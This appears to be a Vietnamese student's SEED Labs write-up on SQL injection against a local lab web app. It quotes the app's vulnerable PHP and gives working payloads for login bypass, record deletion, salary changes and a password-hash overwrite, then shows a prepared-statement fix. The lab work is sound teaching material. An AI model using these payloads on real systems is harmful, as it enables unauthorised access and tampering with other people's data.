Họ và tên: Lê Minh Quân MSSV: 20120356
Setup
Thiết lập bridge network cho máy ảo Ubuntu 16.04 của SEED lab:
Địa chỉ IP của máy ảo là 192.168.1.207.
SSH vào máy ảo:
Task 1
Truy cập vào database thông qua chương trình mysql
:
mysql -u root -pseedubuntu
Xem danh sách các database:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Users |
| elgg_csrf |
| elgg_xss |
| mysql |
| performance_schema |
| phpmyadmin |
| sys |
+--------------------+
8 rows in set (0.00 sec)
Sử dụng database Users
:
use Users;
Xem danh sách các bảng của Users
:
mysql> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| credential |
+-----------------+
1 row in set (0.00 sec)
Truy vấn thông tin từ bảng credential
bằng cách dùng câu SQL sau:
select * from credential;
Kết quả:
Task 2
Khi phân tích mã nguồn ở file /var/www/SQLInjection/unsafe_home.php
, ta thấy rằng các query param trong request được map vào các biến như sau:
$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);
Câu truy vấn sử dụng các biến trên:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
Nếu câu truy vấn này trả về giá trị thì người dùng được phép đăng nhập:
if ($id != "") {
// If id exists that means user exists and is successfully authenticated
drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber);
} else {
// User authentication failed
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
echo "<div class='alert alert-danger'>";
echo "The account information your provide does not exist.";
echo "<br>";
echo "</div>";
echo "<a href='index.html'>Go back</a>";
echo "</div>";
return;
}
Hơn thế nữa, nếu tên của người dùng là admin
thì trang web sẽ show ra thông tin của tất cả các người dùng:
// if user is admin.
$conn = getDB();
$sql = "SELECT id, name, eid, salary, birth, ssn, password, nickname, email, address, phoneNumber
FROM credential";
Task 2.1
Giả sử ta chỉ biết username là admin
và không biết password. Sử dụng input sau ở ô nhập username:
admin'; -- -
Kết quả:
Task 2.2
Do giá trị của các ô input được gửi đến server thông qua query param, ta có thể gửi request với URL như sau:
http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin';+--+-&Password=
Encode URL và sử dụng curl
để gửi request:
curl "http://www.seedlabsqlinjection.com/unsafe_home.php?username%3Dadmin%27%3B%2B--%2B-%26Password%3D"
Task 2.3
Giả sử ta tấn công bằng cách xóa record trong bảng credential
với ID = 3. Input nhập vào ô username có dạng như sau:
admin'; delete from credential where id = 3; -- -
Kết quả:
Task 3
Ở trang Edit Profile, người dùng được phép cập nhật thông tin của chính họ. Các thông tin có thể thay đổi:
- Nickname
- Địa chỉ
- Password
- Số điện thoại
Các giá trị nhập vào được map vào các biến sau đây:
$input_nickname = $_GET['NickName'];
$input_email = $_GET['Email'];
$input_address= $_GET['Address'];
$input_pwd = $_GET['Password'];
$input_phonenumber = $_GET['PhoneNumber'];
$uname = $_SESSION['name'];
$eid = $_SESSION['eid'];
$id = $_SESSION['id'];
Câu truy vấn để cập nhật thông tin được build như sau:
// Don't do this, this is not safe against SQL injection attack
$sql="";
if ($input_pwd!='') {
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
} else {
// if password field is empty.
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
}
Task 3.1
Do chúng ta cần vô hiệu hóa ký tự '
bằng cách comment toàn bộ chuỗi đằng sau nên câu truy vấn sẽ mất điều kiện của mệnh đề where
. Vì thế, ta cần dùng một điều kiện khác, cụ thể là tên của người dùng (Alice
) để giới hạn lại số record cần cập nhật.
Sử dụng giá trị sau ở ô input NickName:
a',salary=2000000 where name = 'Alice';-- -
Đăng nhập lại để xem kết quả:
Task 3.2
Sử dụng cách thức tương tự như task 3.1, ta nhập vào ô input NickName như sau:
a',salary=1 where name = 'Boby';-- -
Kết quả:
Task 3.3
Do mật khẩu sẽ được hash (bằng thuật toán SHA1) trước khi so sánh với giá trị trong DB nên ta cần lưu giá trị hash của mật khẩu mà ta mong muốn đổi. Giả sử ta cần đổi mật khẩu của Boby thành 1
thì giá trị hash SHA1 của nó sẽ là:
356a192b7913b04c54574d18c28d46e6395428ab
Sử dụng payload sau ở ô input NickName:
a',password='356a192b7913b04c54574d18c28d46e6395428ab' where name = 'Boby'; -- -
Giá trị passsword ở trong DB đã được cập nhật:
mysql> select * from credential where name = 'Boby';
+----+------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address | Email | NickName | Password |
+----+------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| 2 | Boby | 20000 | 1 | 4/20 | 10213352 | | | | a | 356a192b7913b04c54574d18c28d46e6395428ab |
+----+------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
1 row in set (0.00 sec)
Đăng nhập vào tài khoản của Boby với username là boby
và password là 1
. Kết quả:
Task 4
Prepared statement trước tiên sẽ được biên dịch[^1] với các placeholder để chứa data. Dữ liệu chỉ được chèn vào các placeholder của prepared statement sau quá trình biên dịch và trước khi câu lệnh được thực thi. Do không trải qua quá trình biên dịch, dữ liệu được chèn vào chỉ đơn thuần là dữ liệu và sẽ không có một ý nghĩa gì đặc biệt.
Ví dụ, cho đoạn code sau:
$sql = "SELECT name, local, gender FROM USER_TABLE WHERE id = $id AND password ='$pwd' ";
$result = $conn->query($sql))
Có thể thấy, đoạn code trên có thể bị khai thác SQL Injection. Ta sửa đoạn code trên bằng cách dùng prepared statement như sau:
$stmt = $conn->prepare("SELECT name, local, gender FROM USER_TABLE WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();
Giá trị "is"
truyền vào bind_param
cho biết:
- Kiểu dữ liệu của biến
$id
là số nguyên (integer). - Kiểu dữ liệu của biến
$pwd
là chuỗi (string).
File safe_home.php
ở trong thư mục /var/www/SQLInjection
sử dụng prepared statement để gọi thực thi câu lệnh SQL như sau:
$conn = getDB();
// Sql query to authenticate the user
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
$sql->fetch();
$sql->close();
Thay đổi mã nguồn của file index.html
để gọi đến safe_home.php
thay vì unsafe_home.php
như sau:
Sử dụng payload admin'; -- -
để đăng nhập và kết quả là:
Tương tự đối với trang Edit Profile, ta thay file unsafe_edit_backend.php
thành safe_edit_backend.php
ở trong unsafe_edit_frontend.php
để ngăn ngừa SQL Injection.